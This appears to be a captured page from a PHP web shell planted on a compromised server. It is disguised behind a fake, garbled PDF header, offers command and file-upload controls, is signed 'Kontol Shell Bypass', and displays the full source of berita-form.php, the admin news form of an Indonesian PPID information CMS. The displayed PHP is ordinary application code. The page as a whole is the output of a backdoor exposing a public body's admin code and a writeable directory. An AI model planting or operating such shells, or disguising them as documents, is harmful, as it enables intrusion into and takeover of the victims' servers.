%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/admin/berita-form.php
<?php
/**
 * Admin: form tulis / edit Berita.
 */
require_once dirname(__DIR__) . '/config/config.php';
require_once dirname(__DIR__) . '/includes/auth.php';
require_once dirname(__DIR__) . '/includes/queries.php';
require_once dirname(__DIR__) . '/includes/upload.php';
require_central();

$id     = (int) get_param('id', '0');
$isEdit = $id > 0;
$errors = [];
$data = ['judul' => '', 'ringkasan' => '', 'konten' => '', 'status' => 'publish', 'tanggal' => date('Y-m-d')];
$existing = null;

if ($isEdit) {
    $stmt = db()->prepare('SELECT * FROM berita WHERE id = ?');
    $stmt->execute([$id]);
    $existing = $stmt->fetch();
    if (!$existing) {
        set_flash('error', 'Berita tidak ditemukan.');
        redirect('admin/berita.php');
    }
    $data = [
        'judul' => $existing['judul'], 'ringkasan' => $existing['ringkasan'], 'konten' => $existing['konten'], 'status' => $existing['status'],
        'tanggal' => date('Y-m-d', strtotime($existing['published_at'] ?: $existing['created_at'])),
    ];
}

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    csrf_verify();
    $data = [
        'judul'     => post_param('judul'),
        'ringkasan' => post_param('ringkasan'),
        'konten'    => trim((string) ($_POST['konten'] ?? '')),
        'status'    => post_param('status', 'publish'),
        'tanggal'   => post_param('tanggal'),
    ];
    if ($data['judul'] === '') {
        $errors['judul'] = 'Judul wajib diisi.';
    }
    if (trim(strip_tags($data['konten'])) === '') {
        $errors['konten'] = 'Isi berita wajib diisi.';
    }
    if ($data['tanggal'] === '') {
        $data['tanggal'] = date('Y-m-d');
    }
    $dtCek = DateTime::createFromFormat('Y-m-d', $data['tanggal']);
    if (!$dtCek || $dtCek->format('Y-m-d') !== $data['tanggal']) {
        $errors['tanggal'] = 'Tanggal terbit tidak valid.';
    }
    if (!in_array($data['status'], ['publish', 'draft'], true)) {
        $data['status'] = 'publish';
    }

    // ── Foto berita (multi, maks 5) ──
    $MAX_FOTO = 5;
    $imgExt = ['jpg', 'jpeg', 'png', 'webp'];
    $normFiles = static function ($f): array {
        $out = [];
        if (!isset($f['name'])) { return $out; }
        foreach (array_keys((array) $f['name']) as $k) {
            if (($f['error'][$k] ?? UPLOAD_ERR_NO_FILE) === UPLOAD_ERR_NO_FILE) { continue; }
            $out[] = ['name' => $f['name'][$k], 'type' => $f['type'][$k] ?? '', 'tmp_name' => $f['tmp_name'][$k], 'error' => $f['error'][$k], 'size' => $f['size'][$k]];
        }
        return $out;
    };

    // Foto lama (untuk edit) + tandai yang akan dihapus.
    $existingFotos = [];
    if ($isEdit) {
        $st = db()->prepare('SELECT id, file, urutan FROM berita_foto WHERE berita_id = ? ORDER BY urutan ASC, id ASC');
        $st->execute([$id]);
        $existingFotos = $st->fetchAll();
    }
    $hapusIds  = array_map('intval', (array) ($_POST['hapus_foto'] ?? []));
    $sisaFotos = array_values(array_filter($existingFotos, static fn ($r) => !in_array((int) $r['id'], $hapusIds, true)));

    $newFiles = $normFiles($_FILES['foto'] ?? []);
    foreach ($newFiles as $nf) {
        $ext = strtolower(pathinfo($nf['name'], PATHINFO_EXTENSION));
        if (!in_array($ext, $imgExt, true)) { $errors['foto'] = 'Hanya gambar JPG, PNG, atau WEBP yang diperbolehkan.'; break; }
        if ($nf['size'] > MAX_UPLOAD_SIZE) { $errors['foto'] = 'Setiap foto maksimal ' . format_size(MAX_UPLOAD_SIZE) . '.'; break; }
    }
    if (count($sisaFotos) + count($newFiles) > $MAX_FOTO) {
        $errors['foto'] = 'Maksimal ' . $MAX_FOTO . ' foto per berita. Kurangi unggahan atau hapus sebagian foto lama.';
    }

    if (empty($errors)) {
        // Bersihkan HTML konten kaya dari editor sebelum disimpan.
        $data['konten'] = sanitize_html($data['konten']);

        // Slug unik dari judul.
        $base = slugify($data['judul']);
        $slug = $base;
        $i = 2;
        while (true) {
            $chk = db()->prepare('SELECT COUNT(*) FROM berita WHERE slug = ? AND id <> ?');
            $chk->execute([$slug, $id]);
            if ((int) $chk->fetchColumn() === 0) { break; }
            $slug = $base . '-' . $i++;
        }

        // Tanggal terbit diisi admin (published_at). Pertahankan komponen jam bila sedang edit.
        $time = ($isEdit && !empty($existing['published_at'])) ? date('H:i:s', strtotime($existing['published_at'])) : date('H:i:s');
        $publishedAt = $data['tanggal'] . ' ' . $time;

        if ($isEdit) {
            db()->prepare('UPDATE berita SET judul=?, slug=?, ringkasan=?, konten=?, status=?, published_at=? WHERE id=?')
                ->execute([$data['judul'], $slug, $data['ringkasan'], $data['konten'], $data['status'], $publishedAt, $id]);
            $beritaId = $id;
            // Hapus foto lama yang ditandai (file + baris).
            foreach ($existingFotos as $r) {
                if (in_array((int) $r['id'], $hapusIds, true)) {
                    delete_upload('berita', $r['file']);
                    db()->prepare('DELETE FROM berita_foto WHERE id = ?')->execute([(int) $r['id']]);
                }
            }
        } else {
            db()->prepare('INSERT INTO berita (judul, slug, ringkasan, konten, gambar, status, created_by, published_at) VALUES (?, ?, ?, ?, ?, ?, ?, ?)')
                ->execute([$data['judul'], $slug, $data['ringkasan'], $data['konten'], null, $data['status'], current_admin()['id'], $publishedAt]);
            $beritaId = (int) db()->lastInsertId();
        }

        // Unggah foto baru → berita_foto.
        $urutan = (int) db()->query('SELECT COALESCE(MAX(urutan), -1) + 1 FROM berita_foto WHERE berita_id = ' . (int) $beritaId)->fetchColumn();
        foreach ($newFiles as $nf) {
            $up = handle_upload($nf, 'berita', $imgExt);
            if ($up['ok']) {
                db()->prepare('INSERT INTO berita_foto (berita_id, file, urutan) VALUES (?, ?, ?)')->execute([$beritaId, $up['filename'], $urutan++]);
            }
        }

        // Sampul (gambar) = foto pertama (urutan terkecil) yang tersisa.
        $cov = db()->prepare('SELECT file FROM berita_foto WHERE berita_id = ? ORDER BY urutan ASC, id ASC LIMIT 1');
        $cov->execute([$beritaId]);
        db()->prepare('UPDATE berita SET gambar = ? WHERE id = ?')->execute([$cov->fetchColumn() ?: null, $beritaId]);

        set_flash('success', $isEdit ? 'Berita berhasil diperbarui.' : 'Berita berhasil dipublikasikan.');
        redirect('admin/berita.php');
    }
}

$pageTitle  = ($isEdit ? 'Edit' : 'Tulis') . ' Berita — CMS PPID';
$activeMenu = 'berita';
require __DIR__ . '/partials/head.php';
$val = static fn (string $k) => e($data[$k] ?? '');
$galeri = [];
if ($isEdit) {
    $g = db()->prepare('SELECT id, file FROM berita_foto WHERE berita_id = ? ORDER BY urutan ASC, id ASC');
    $g->execute([$id]);
    $galeri = array_values(array_filter($g->fetchAll(), static fn ($r) => is_file(UPLOAD_PATH . '/berita/' . $r['file'])));
}
$hapusDipilih = array_map('intval', (array) ($_POST['hapus_foto'] ?? []));
?>

<div class="mb-6">
    <a href="<?= e(url('admin/berita.php')) ?>" class="text-sm text-slate-500 hover:text-mateng-green inline-flex items-center gap-2 mb-3"><i class="fas fa-arrow-left"></i> Kembali ke daftar</a>
    <h2 class="text-2xl font-bold text-slate-900"><?= $isEdit ? 'Edit Berita' : 'Tulis Berita Baru' ?></h2>
</div>

<form method="post" enctype="multipart/form-data" class="max-w-3xl bg-white border border-slate-100 rounded-xl shadow-sm p-6 sm:p-8 space-y-5">
    <?= csrf_field() ?>
    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Judul Berita <span class="text-red-500">*</span></label>
        <input type="text" name="judul" value="<?= $val('judul') ?>" class="w-full rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= isset($errors['judul']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
        <?php if (isset($errors['judul'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['judul']) ?></p><?php endif; ?>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Ringkasan <span class="text-xs text-slate-400">(tampil di daftar berita)</span></label>
        <textarea name="ringkasan" rows="2" maxlength="500" class="w-full rounded-lg border border-slate-300 px-4 py-2.5 outline-none focus:border-mateng-green focus:ring-4 focus:ring-green-100"><?= $val('ringkasan') ?></textarea>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Isi Berita <span class="text-red-500">*</span></label>
        <div class="rounded-lg border overflow-hidden <?= isset($errors['konten']) ? 'border-red-300' : 'border-slate-300 focus-within:border-mateng-green focus-within:ring-4 focus-within:ring-green-100' ?>">
            <div id="rteToolbar" class="flex flex-wrap items-center gap-0.5 border-b border-slate-200 bg-slate-50 px-2 py-1.5 text-slate-600">
                <?php
                $rteBtn = static fn (string $attr, string $icon, string $title): string =>
                    '<button type="button" ' . $attr . ' title="' . e($title) . '" class="w-8 h-8 rounded hover:bg-slate-200 hover:text-slate-900 flex items-center justify-center text-sm"><i class="fas ' . $icon . '"></i></button>';
                echo $rteBtn('data-cmd="bold"', 'fa-bold', 'Tebal');
                echo $rteBtn('data-cmd="italic"', 'fa-italic', 'Miring');
                echo $rteBtn('data-cmd="underline"', 'fa-underline', 'Garis bawah');
                echo '<span class="w-px h-5 bg-slate-300 mx-1"></span>';
                echo $rteBtn('data-cmd="justifyLeft"', 'fa-align-left', 'Rata kiri');
                echo $rteBtn('data-cmd="justifyCenter"', 'fa-align-center', 'Rata tengah');
                echo $rteBtn('data-cmd="justifyRight"', 'fa-align-right', 'Rata kanan');
                echo $rteBtn('data-cmd="justifyFull"', 'fa-align-justify', 'Rata kiri-kanan');
                echo '<span class="w-px h-5 bg-slate-300 mx-1"></span>';
                echo '<button type="button" data-block="h2" title="Judul" class="px-2 h-8 rounded hover:bg-slate-200 hover:text-slate-900 text-sm font-bold">H2</button>';
                echo '<button type="button" data-block="h3" title="Subjudul" class="px-2 h-8 rounded hover:bg-slate-200 hover:text-slate-900 text-sm font-bold">H3</button>';
                echo '<button type="button" data-block="p" title="Paragraf" class="px-2 h-8 rounded hover:bg-slate-200 hover:text-slate-900 text-sm">¶</button>';
                echo '<span class="w-px h-5 bg-slate-300 mx-1"></span>';
                echo $rteBtn('data-cmd="insertUnorderedList"', 'fa-list-ul', 'Daftar butir');
                echo $rteBtn('data-cmd="insertOrderedList"', 'fa-list-ol', 'Daftar nomor');
                echo $rteBtn('data-cmd="createLink"', 'fa-link', 'Tautan');
                echo $rteBtn('data-cmd="removeFormat"', 'fa-eraser', 'Hapus format');
                ?>
            </div>
            <div id="rteEditor" contenteditable="true" data-placeholder="Tulis isi berita di sini..." class="berita-konten min-h-[280px] max-h-[520px] overflow-y-auto px-4 py-3 outline-none text-slate-700 leading-relaxed"></div>
        </div>
        <textarea name="konten" id="kontenField" class="hidden"><?= $val('konten') ?></textarea>
        <?php if (isset($errors['konten'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['konten']) ?></p><?php endif; ?>
        <p class="text-xs text-slate-400 mt-1">Gunakan toolbar untuk menebalkan, memiringkan, mengatur perataan teks, membuat daftar, dan menautkan.</p>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Foto Berita <span class="text-xs text-slate-400">(maks 5 foto — foto pertama menjadi sampul)</span></label>

        <?php if ($isEdit && $galeri): ?>
            <div class="grid grid-cols-3 sm:grid-cols-5 gap-3 mb-2">
                <?php foreach ($galeri as $gi => $g): ?>
                    <div class="relative">
                        <img src="<?= e(UPLOAD_URL . '/berita/' . $g['file']) ?>" class="w-full h-20 object-cover rounded-lg border border-slate-200" alt="">
                        <?php if ($gi === 0): ?><span class="absolute top-1 left-1 bg-mateng-green text-white text-[10px] font-bold px-1.5 py-0.5 rounded shadow">Sampul</span><?php endif; ?>
                        <label class="absolute bottom-1 right-1 flex items-center gap-1 bg-white/90 text-red-600 text-[10px] font-semibold px-1.5 py-0.5 rounded shadow cursor-pointer">
                            <input type="checkbox" name="hapus_foto[]" value="<?= (int) $g['id'] ?>" class="accent-red-600" <?= in_array((int) $g['id'], $hapusDipilih, true) ? 'checked' : '' ?>> Hapus
                        </label>
                    </div>
                <?php endforeach; ?>
            </div>
            <p class="text-xs text-slate-400 mb-2">Centang <span class="text-red-600 font-medium">Hapus</span> pada foto yang ingin dibuang. Tambahkan foto baru di bawah.</p>
        <?php endif; ?>

        <input type="file" name="foto[]" accept="image/*" multiple class="js-img-preview w-full text-sm text-slate-600 file:mr-3 file:py-2 file:px-4 file:rounded-lg file:border-0 file:bg-mateng-green/10 file:text-mateng-green file:font-semibold hover:file:bg-mateng-green/20 file:cursor-pointer" data-target="#fotoPreviewBerita">
        <div id="fotoPreviewBerita" class="grid grid-cols-3 sm:grid-cols-5 gap-3 mt-3 empty:hidden"></div>
        <?php if (isset($errors['foto'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['foto']) ?></p><?php endif; ?>
        <p class="text-xs text-slate-400 mt-1">Format: JPG, PNG, WEBP. Maks <?= format_size(MAX_UPLOAD_SIZE) ?>/foto. Bisa pilih beberapa file sekaligus (maks 5 total).</p>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Tanggal Terbit <span class="text-red-500">*</span></label>
        <input type="date" name="tanggal" value="<?= $val('tanggal') ?>" class="w-full sm:w-56 rounded-lg border px-4 py-2.5 outline-none focus:ring-4 <?= isset($errors['tanggal']) ? 'border-red-300 focus:ring-red-100' : 'border-slate-300 focus:border-mateng-green focus:ring-green-100' ?>">
        <?php if (isset($errors['tanggal'])): ?><p class="text-xs text-red-500 mt-1"><?= e($errors['tanggal']) ?></p><?php endif; ?>
        <p class="text-xs text-slate-400 mt-1">Tanggal ini yang ditampilkan di halaman berita (bisa diatur bebas oleh admin).</p>
    </div>

    <div>
        <label class="block text-sm font-medium text-slate-700 mb-1.5">Status</label>
        <div class="flex gap-3">
            <label class="flex items-center gap-2 px-4 py-2.5 border rounded-lg cursor-pointer <?= $data['status'] === 'publish' ? 'border-mateng-green bg-green-50' : 'border-slate-300' ?>">
                <input type="radio" name="status" value="publish" <?= $data['status'] === 'publish' ? 'checked' : '' ?> class="accent-mateng-green"> <span class="text-sm">Terbitkan</span>
            </label>
            <label class="flex items-center gap-2 px-4 py-2.5 border rounded-lg cursor-pointer <?= $data['status'] === 'draft' ? 'border-mateng-green bg-green-50' : 'border-slate-300' ?>">
                <input type="radio" name="status" value="draft" <?= $data['status'] === 'draft' ? 'checked' : '' ?> class="accent-mateng-green"> <span class="text-sm">Simpan draf</span>
            </label>
        </div>
    </div>

    <div class="flex gap-3 pt-2">
        <button type="submit" class="bg-mateng-green hover:bg-green-700 text-white font-bold px-6 py-3 rounded-lg transition-colors flex items-center gap-2"><i class="fas fa-save"></i> <?= $isEdit ? 'Perbarui' : 'Terbitkan' ?></button>
        <a href="<?= e(url('admin/berita.php')) ?>" class="bg-slate-100 hover:bg-slate-200 text-slate-700 font-semibold px-6 py-3 rounded-lg transition-colors">Batal</a>
    </div>
</form>

<?php require dirname(__DIR__) . '/partials/berita-konten-style.php'; ?>
<script>
    // Editor teks kaya (WYSIWYG) untuk Isi Berita.
    (function () {
        var editor = document.getElementById('rteEditor');
        var field  = document.getElementById('kontenField');
        var toolbar = document.getElementById('rteToolbar');
        if (!editor || !field) return;

        var initial = field.value.trim();
        if (initial) {
            if (/<[a-z][\s\S]*>/i.test(initial)) {
                editor.innerHTML = initial;
            } else {
                editor.innerHTML = initial.split(/\n\s*\n/).map(function (p) {
                    var esc = p.replace(/&/g, '&amp;').replace(/</g, '&lt;').replace(/>/g, '&gt;').replace(/\n/g, '<br>');
                    return '<p>' + esc + '</p>';
                }).join('');
            }
        }

        function exec(cmd, val) { document.execCommand(cmd, false, val || null); editor.focus(); }
        toolbar.addEventListener('mousedown', function (e) { if (e.target.closest('button')) e.preventDefault(); });
        toolbar.addEventListener('click', function (e) {
            var b = e.target.closest('button'); if (!b) return;
            if (b.hasAttribute('data-cmd')) {
                var cmd = b.getAttribute('data-cmd');
                if (cmd === 'createLink') {
                    var url = window.prompt('Masukkan URL tautan:', 'https://');
                    if (url) exec('createLink', url);
                } else { exec(cmd); }
            } else if (b.hasAttribute('data-block')) {
                exec('formatBlock', '<' + b.getAttribute('data-block') + '>');
            }
        });

        var form = editor.closest('form');
        if (form) {
            form.addEventListener('submit', function () {
                field.value = editor.textContent.trim() === '' ? '' : editor.innerHTML;
            });
        }
    })();
</script>

<?php require __DIR__ . '/partials/foot.php'; ?>

Kontol Shell Bypass